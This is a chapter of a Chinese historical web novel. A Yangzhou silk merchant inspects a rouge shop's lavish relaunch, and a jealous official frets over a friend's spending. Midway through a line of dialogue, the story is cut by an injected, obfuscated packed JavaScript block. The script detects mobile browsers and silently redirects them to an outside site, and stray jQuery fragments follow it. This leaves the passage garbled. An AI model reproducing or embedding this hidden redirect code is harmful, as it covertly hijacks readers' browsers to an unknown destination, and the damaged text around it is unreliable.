雨又停了。
大食海商蒲承泽从市集返回码头，街面还带着湿气，害他靴底沾上青苔，走得吱呀响。
他刚在城南市集收完一批杭绸，布匹已差人运往码头。这批绸子薄如蝉翼，滑似春水，拿在手里沉甸甸的，满心都是赚头。他走在街上，步子轻快，像个刚赢了牌局的赌客。可走没两步，大约是被雨季的湿气感染，心里头有一丝阴云挥之不去。
前日酒宴里，他听同行嘀咕，说这大宁的朝廷要推什么“银税法”……他心里门儿清：一旦白银价跌，他这几批货的利润，得大打折扣。
城南市集不远处，便是码头。
蒲承泽眯着眼，目光穿过蒙蒙雨雾，看向远处摇曳的船影。
海风夹着咸味吹过，他心里盘算着：杭绸生意虽稳，却也局限。江南的风向变幻莫测，总不能一辈子只盯着这一条路。
新的合伙人也好，新的货物也罢，是时候寻个新路子了。
他抬起头，望着天边隐约的云层，思绪不由得飘远。
海上贸易的起伏，他再清楚不过，这份敏锐与果断、这份不服输的劲儿，都是从家族血脉中传承下来的。
蒲家祖上是宋代巨贾蒲寿庚的旁支，世代闯海，什么珊瑚玛瑙、象牙犀角，什么龙涎香、降真香，各式各样宝石奇珍，蒲家的货船都贩过。
家族的兴衰故事，总与海上的风浪纠缠一起。
到了他这一辈，船队虽不比祖上鼎盛，但仍攥着几条远洋的丝绸航路。
蒲承泽生得深目高鼻，眼神尤为锐利，能从丝绸纹路里看出行情高低。他熟知江南各地丝绸市场的每一个角落。谁家货好，谁家价虚，谁家藏着心思，他心里都有本账。
各地丝绸贩子见了他，老远就堆笑喊“蒲大官人”。
是打趣，也是尊称。
皆因他验货时快、准、狠，一瞥眼便知经纬疏密，价压得狠，却也从不拖欠银钱。
正在思忖间，忽听得身后人声扰攘。
蒲承泽回头一望，远远就瞧见城南最高的那栋三层楼——春棠茶社。
此刻，那第三层的飞檐处，垂下一幅竖着的朱红布幔，八个黑字泼墨般砸下来。
“新品发布，敬请期待”。
那字写得粗犷，张牙舞爪，似要一下子扑到人脸上。
蒲承泽嗤笑一声：“哪个土财主的手笔？”
脚下却不由自主往那方向挪。
茶社门前，立着块一人高的木匾，贴了熟宣。上头画了芍药花和蔷薇花，画得极简，两三笔勾出瓣子，却透着雅气。
花旁配着一行字：“颜玉庄全面升级改造，敬请期待”。
字还是那股粗犷的味道，瞧着简单，偏勾得人心痒痒。
蒲承泽站定，来回打量着那木匾，脑子里转开了。
颜玉庄？
那家半死不活的胭脂老店？
怎么就抖擞起来了？
他正琢磨着，旁边路人也议论纷纷。
一个儒生打扮的人，摇头讪道：“什么叫‘全面’、‘升级’、‘改造’？该如何断句？狗屁不通！”
“我问了老颜，”春棠茶社的陈掌柜凑过来，接过话头：“他说，‘全面’，就是彻头彻尾的意思，‘升级改造’是连一块的，意思是他家铺子要改头换面，要装潢一番，变得更好，更棒……”
旁边绸缎庄的东家皱眉问：“老颜不是要卖铺子了么？哪来的银子？”
陈掌柜挑眉：“就是卖了才有的银子呗！”他忍不住笑了笑：“八千两，上午签的契约。”
“八千两！” 绸缎庄东家咋舌：“他这破落铺子还能卖八千两！”
“老张，你还别说，八千两只买六成的股俸……”
“六成！哪来的冤大头！”
“别管，新东家觉得值，说光方子就值这个价。”……
蒲承泽耳尖，听了这些，心念一动。
他摸了摸下巴，暗自思忖：看这颜玉庄的动静，莫非……背后有高人指点？
还是说，就只是个冤大头？
……
未时三刻，日头刚斜过瓦顶。
城南的颜玉庄，平日里是个不起眼的地方。门面旧了，匾额上的字也褪色，风一吹，门前柳树叶沙沙响，像老店在叹息。
可这天却热闹得紧。
正门被条红彤彤的横幅遮得严严实实，上头大字写着“全面升级，敬请期待”，字迹豪迈，黑底红字。远远看去，比方才那竖幅还招眼。
横幅旁留了道窄小的侧门，门缝里透出点光亮，隐约能听见里头人声嘈杂。
蒲承泽站在街对面，仔细打量这阵仗，心里嘀咕：这动静不小，怕是有戏。
他又瞥一眼那横幅，犹豫片刻，脚下还是动了，朝小门走去。
……
门内别有洞天。
侧门一进，便是后院，院中搭着竹架，架上挂了十数幅绸缎。
都是十来丈长的。
绯红、枣红、棠红。
胭脂粉、洛神粉、初桃粉。
深深浅浅的红色、粉色。
绸缎随风轻摆，恍惚间，如一片花海在眼前晃荡。
边上立着柏木牌子，墨迹未干：“数枝芍药殿春迟”、“无力蔷薇卧晓枝”、“人面桃花相映红”……尽是些与花相干的诗句。
蒲承泽看着心喜，又不禁腹诽：这颜玉庄，倒是会装点门面，附庸风雅。
院子正中，八张榆木长案拼成一个大台子，上头摆满楠木托盘。
盘里码着白瓷胭脂盒，一个个整整齐齐。盒子旁还有瓷盆和小木牌，上书“净手试用”四个字。
蒲承泽走近了，伸出手指，轻轻蹭过胭脂，就着天光一捻，嫣红里掺着珠贝微光，似把晚霞揉碎了撒进去。
“掺了珠粉？” 他讶异，这胭脂的成色竟这样好：“不，是珠粉里掺了颜色才对。”
这样柔和温润的光泽，只有用大量的、上好的珠粉才能做到！还有这粉质，细腻得似烟、似雾，也不止磨了多少道、筛了多少次……
蒲承泽走南闯北这些年，胭脂、香粉见过千百种，如此奢侈的工艺，真是头一遭见。从前只当颜玉庄是个破落铺子，没拿正眼瞧过，谁知道里头居然藏了宝藏。
南洋、波斯湾那帮土王就爱稀奇货，若真能吹出个名头，一转手，怕是翻三、五倍也不成问题！
“客官识货！” 一道清脆声线传来。
蒲承循声回首，见个穿黛绸的小公子走近。那绸缎的料子他认得，霞玉缎，去岁他们船队才捎了两匹去锡兰，一匹能抵半船豆蔻。
他不由得细细打量眼前人，只见“他”生得极俊秀，眉梢眼角似匠人雕琢过，比那拜占庭的石雕还精致。
那“小公子”见他试胭脂，微微一笑，说：“客官若有意，明日，我们宝号在这儿办‘新品发布会’。”
说着，指了指一旁的水牌。
发布会？
蒲承泽一愣。
这词儿新鲜，他头一回听，顺着“他”的手看去，水牌上写着“明日午时，新品发布会，诚邀品鉴”。
他试探着问：“你这胭脂，多少钱一盒？”
那“小公子”不答价钱，只笑着说：“届时，我们会当着大家的面，做一遍胭脂，从头到尾，每一工艺、配方，都细细展示……”
“细细展示？” 蒲承泽眼珠子瞪圆：“那独门秘方不就泄露了……”
他实在惑然，这人到底什么葫芦卖什么药？
“泄露了也无妨。”
“为什么？”
“因为成本太高，没有人能像我们这般不计工本，只为追求最好的品质。”
蒲承泽闻言，咧嘴一笑。
这话说得动听，但唬不住他这老江湖。
不过……这种说法，值得借鉴。
从今往后，他把绸缎卖给波斯湾那些土财主，也这个说辞。
等等，干脆，他这趟带上几个丝绸工匠，也当着买家的面缫丝、织布？
“好，我明日一定来，看看你耍什么宝。” 蒲承泽朗声笑道。
“客官且慢。”
“嗯？”
“参观这发布会，是要验资的。” 那人笑得和煦，像在介绍一盒新出的胭脂。
蒲承泽眉头一皱。
验资？
什么意思？
“何为‘验资’？”
小公子笑意不减，慢条斯理解释：“意思是……要证明客官有能力消费我们的产品。”
顿了顿，又补一句
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15310891|160291||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
：“明日发布会，需携带一千两银票，方可入场。”
蒲承泽脸色一沉，像被谁扇了一耳光。
扬州城里，谁不晓得他蒲家船队？他在码头上跺跺脚，大运河都要翻几叠浪！
这小子乳臭未干，居然敢掂他斤两？
他冷笑一声，嗤道：“荒谬！”
说罢拂袖就走，步子迈得飞快，仿佛把满腔怒气都踩进地里。
……
扬州城南与城西交界。
翠韵茶庐。
暮色漏进檀木窗棂。
茶肆伙计点起灯笼，昏黄的光晕洒在桌上，映得赵斐脸色略苍白。
他坐在临窗的圈椅里，手指不断敲桌面。
笃、笃、笃……
敲得人心烦。
茶盏里，碧螺春早凉透。
伙计又来添茶。
不知是第几回茶了，他也没心思喝上一口，目光不时扫向门口，竹帘一动，他就抬头去看。
可每次都是伙计端着茶盘进出，竹帘落回原处。
方靖捏着茶盖，轻轻拨浮沫：“飞羽跟着呢，能出什么岔子？”
赵斐皱眉叹气。
他们约定在未时碰头，如今申时都过了。
“他”到底出了什么事？
脑海里闪过一幅画面……“他”被人推到湖里，挣扎几下，就沉了下去，水面还浮起“他”手腕的纱布……
赵斐心跳快了不止一拍。
一阵急风刮过，吹得窗外柳条“倏倏”响。
他恍惚又见月黑风高夜，“他”走在巷子里，几个黑影围上来，刀光一闪，“他”倒在地上，血淌了一地。
他心头一紧，指节叩得更急。
赵斐知道，这不过是胡思乱想，可越想越止不住，心像被谁攥着，呼吸又急又乱。
早知道，就把侍卫都派去“他”那处。
只一个飞羽，怎么够？
……
“说不定……”方靖慢悠悠地抿了一口茶，打趣道：“他去给关娘子挑胭脂了？”
这话像根细刺，扎进赵斐心里。
他眉头一蹙，猛灌口茶，杯盏顿得桌案都震了震。
正这时，竹帘哗啦一响，飞羽走了进来，风尘仆仆，脸上还挂着汗珠。
赵斐立马起身：“明大人呢？他怎么了？”声音急得像绷紧的弦。
飞羽喘了口气，先点点头，示意没事，才说：“明大人无恙。他去了古董店买古玩，又到春棠茶社挑糕点，还买了家胭脂庄。”
他说得平淡，如报流水账。
可落在赵斐耳里，十足冰块落入岩浆里，在他心里噼哩啪啦响。
——“那关氏要吃扬州春棠茶社的藕粉糖糕，差人日夜兼程送来！番邦妖妇，学什么杨贵妃！”
徐州知县的话闪过他脑海。
哦，是呢！
那妖妇爱吃春棠茶社的点心嘛。
她不过耍点小性子，“他”就呆呆在船头坐半晚，还不够！今日还东奔西跑的，去买东西哄她开心！
买古玩给她把玩，买糕点给她尝鲜，还买了一家胭脂庄？
“他”就那么一点点家底，那胭脂庄都挥霍大半了吧！
“砰！”
赵斐一拍桌案。
自己就多余管“他”闲事！
还陪“他”吹冷风！
不，不对……
昨晚那样的好时机，就该给昆玉上眼药！
劝“他”休了那妖妇！
赵斐气明桂枝，也气自己，一股酸气直直往胸口涌，涩得头皮发麻。
片刻，他咬了咬牙，追问：“他在哪里？”
飞羽答道：“明大人现下在颜玉庄，跟原东家谈事呢。”
“颜玉庄？”
“就是明大人新买的胭脂庄。”
赵斐铁青着脸：“既然他没事，我们回客栈吧。”
说完，转身就往外走，步子急得翻起风。
飞羽一句话把他叫住：“明大人邀您去颜玉庄。”
“什么事？”
“他说江湖救急，要问您借钱。”
“借钱？”
“五千两。”
“不借！” 赵斐咬牙切齿：“一文钱我也不借！”